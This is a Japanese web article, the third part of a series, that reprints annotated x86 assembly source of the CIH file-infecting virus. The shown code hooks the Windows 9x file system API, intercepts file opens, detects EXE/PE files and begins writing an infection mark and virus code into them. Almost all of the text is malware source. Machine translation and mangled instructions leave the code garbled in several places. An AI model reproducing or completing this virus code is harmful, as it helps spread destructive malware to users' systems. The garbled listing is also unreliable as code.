ホームページ  >  記事  >  バックエンド開発  >  ウイルスプログラムのソースコード例の解析 - CIH ウイルス[3]

ウイルスプログラムのソースコード例の解析 - CIH ウイルス[3]

黄舟
黄舟オリジナル
2017-01-17 11:16:421904ブラウズ

jmp ExitRing0Init ;Exit Ring0レベル

;マージされたコードサイズ
CodeSizeOfMergeVirusCodeSection = offset $

;新しいIFSMgr_InstallFileSystemApiHook関数呼び出し
InstallFileSystemApiHook:
push ebx

call @4

@4:
pop ebx ; 現在のオフセットを取得します命令のアドレス
add ebx, FileSystemApiHook-@4 ; 差分とオフセットを加算した値は FileSystemApiHook のオフセットに等しい

push ebx
int 20h ; Vxd を呼び出して FileSystemApiHook を指すフックを削除する
IFSMgr_RemoveFileSystemApiHook = $
dd 00 0068h ;eax、ecx、edx、および flags レジスタを使用します
pop eax

; 元の IFSMgr_InstallFileSystemApiHook 関数を呼び出して FileSystemApiHook フックに接続します
push dword ptr [esp+8]
call OldInstallFileSystemApiHook-@3[ebx]

Pop ECX
プッシュeax
Push ebx

call OldInstallFileSystemApiHook-@3[ebx]
pop ecx

mov dr0, eax;OldFileSystemApiHook アドレスを調整

pop eax
pop ebx

ret

OldInstallFileSystemApiHook dd;元の InstallFileSystemApiHook 呼び出しアドレス

;IFSMgr_FileSystemHook callEntry
FileSystemApiHook:
@3 = FileSystemApiHook

push ad ;Save register

call @5

@5:
pop esi, offset ;esi は現在のコマンドのオフセット
add esi, VirusGameDataStartAddress - @5 ;esi は FileSystemApiHook のオフセットです
;;VirusGameDataStartAddress のオフセットの差は、VirusGameDataStartAddress のオフセットに等しいです

;「ビジー」フラグをテストすると、「ビジー」は pIFSFunc
テストバイト ptr (OnBusy- @6)[esi], 01h
jnz pIFSFunc

;ファイルが開かれていない場合はprevhookへ
lea ebx, [esp+20h+04h+04h] ;ebxはFunctionNumのアドレス

;呼び出し形式ファイルシステムのフックは次のとおりです
;FileSystemApiHookFunction(pIFSFunc FS DFnAddr , int FunctionNum, int Drive,
;int ResourceFlags, int CodePage, pioreq pir)

;この呼び出しがファイルを開くためのものであるかどうかを判断し、そうでない場合はジャンプします前のファイルへフック
cmp dword ptr [ebx], 00000024h
jne prevhook

inc byte ptr (OnBusy-@6)[esi] ; OnBusy フラグを「busy」に設定します

;ファイルパスで指定されたドライブ文字を指定して、そのドライブ名をFileNameBufferに入れます
;ドライブ文字が03hの場合は、そのドライブがCドライブであることを意味します
mov esi, offset FileNameBuffer
add esi, FileNameBuffer-@6 ;esi Points to FileNameBuffer

push esi ;Save
mov al, [ebx+04h] ;ebx+ 4 はディスク番号のアドレス

その場合は CallUniToBCSPath
cmp al に転送します。 , 0ffh
je CallUniToBCSPath

add al, 40h
mov ah, ':'

mov [esi] , eax ; 「char * pBCSPath, ParsedPath * pUniPath,
; unsigned int maxLength, int charSet」の形に処理)
CallUniToBCSPath:
Push 00000000h ; 文字セット
Push FileNameBufferSize ; 文字長
mov ebx, [ebx+10h]
mov eax, [ebx+0ch]
add eax, 04h
Push eax ;Uni 文字の先頭アドレス
puシエシ; BCS 文字の先頭アドレス
int 20h ;call UniToBCSPath
UniToBCSPath = $
dd 00400041h call id
add esp, 04h*04h

;ファイルが EXE ファイルかどうかを判断する
cmp [esi+eax-04h], 。」
jne DisableOnBusy

IF DEBUG

;以下の情報はデバッグ用です
cmp [esi+eax-06h], 'KCUF'
jne DisableOnBusy ENDIF int 20h ; call IFSMgr_Ring0_FileIO Function
IFSMgr_Ring0_FileIO = $
dd 00400032h ;電話番号

jc DisableOnBusy
push ecx

;Get IFSMgr_Ring0_FileIO address
mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi]
mov edi, [edi]

;ファイルが読み取り専用かどうかを判断し、そうであれば変更しますファイル属性、それ以外の場合は OpenFile に移動します
Test cl, 01h
jz OpenFile mov ax, 4301h

OpenFile:
xor eax , eax
mov ah, 0d5h
xor ecx, ecx; ファイルを開く FileIO の関数

XCHG EBX, Eax; ファイルハンドルを EBX に保存する; ファイル属性を復元するかどうか (書き込み属性がある場合は復元する必要はありません)
Pop ecx
Pushf
test cl, 01h
jz ispileok

; mov ax, 4301h
call edi ;ファイル属性を復元する

;ファイルが正常に開かれたかどうか、DisableOnBusy
IsOpenFileOK:
popf
jc DisableOnBusy

;ファイルは正常に開かれました
push esi ;スタック上の最初のアドレス

pushf ;CF = 0, save flag bit

add esi, DataBuffer-@7; esi はデータ領域の最初のアドレスを指す

xor eax, eax
mov ah, 0d6h ;IFSMgr_Ring0_FileIO 読み込みファイル関数番号(R0_READFILE)

;ウイルスコードの長さを最小限に抑えるため、eaxをebpに保存
mov ebp, eax

push 00000004h ;4バイト読み込む
ポップecx
push ; グラフィックファイルヘッダのPEマークと感染マークを取得
edi​​にファイルを読み込む
そうであればさらに判定感染しているかどうかを判断します
; WinZip 自己解凍ファイルであるかどうかを判断します。感染している場合は、Self-Extractor に感染しません *
cmp dword ptr [esi], 00455000h; PE ファイルであるかどうかを判断します。 "PE/0/0")
jne CloseFile; そうでない場合は、ファイルを閉じます

; PE ファイルであり、感染していない場合は、ファイルの感染を開始します
push ebx; ファイルハンドルを保存します
push 00h

;ウイルス感染マークを設定します
push 01h;マークサイズ
push edx;edxはPEファイルヘッダを指します Offset 00h
push edi ;ediはIFSMgr_Ring0_FileIOのアドレスです

mov dr1, esp ; mov cl, SizeOfImageHeader ;読むために; 2バイトを読み込む場合
add edx, 07h; PEファイルヘッダー+07hはNumberOfSections(ブロック数)
call edi; read NumberOfSections(ブロック数) to esi
lea eax, (AddressOfEntryPoint-@8)[edx]
Push eax ;ファイルポインタ

lea eax, (NewAddressOfEntryPoint-@8)[esi]
push eax ;バッファアドレス

;edxの値をファイルウイルスコードブロックテーブルの先頭に置く
movzx eax, word ptr( SizeOfOptionalHeader-@8)[esi]
lea edx, [eax+edx+12h] ;edxはウイルスコードブロックテーブルのオフセット

;ウイルスコードブロックテーブルのサイズを取得
mov al, SizeOfScetionTable;各ブロックtable アイテムのサイズ

mov cl, (NumberOfSections-@8)[esi]

mul cl ;各ブロックテーブルアイテムにブロック数を乗算したものがブロックテーブルのサイズに等しい

; code block table
lea esi, (StartOfSectionTable -@8)[esi] ;esi はブロックテーブル(ウイルス動的データ領域内)の先頭アドレスを指します

上記はウイルスプログラムのソースコード例解析の内容です-CIH ウイルス [3]。その他の関連コンテンツについては、PHP 中国語 Web サイト (www.php.cn) に注目してください。



声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。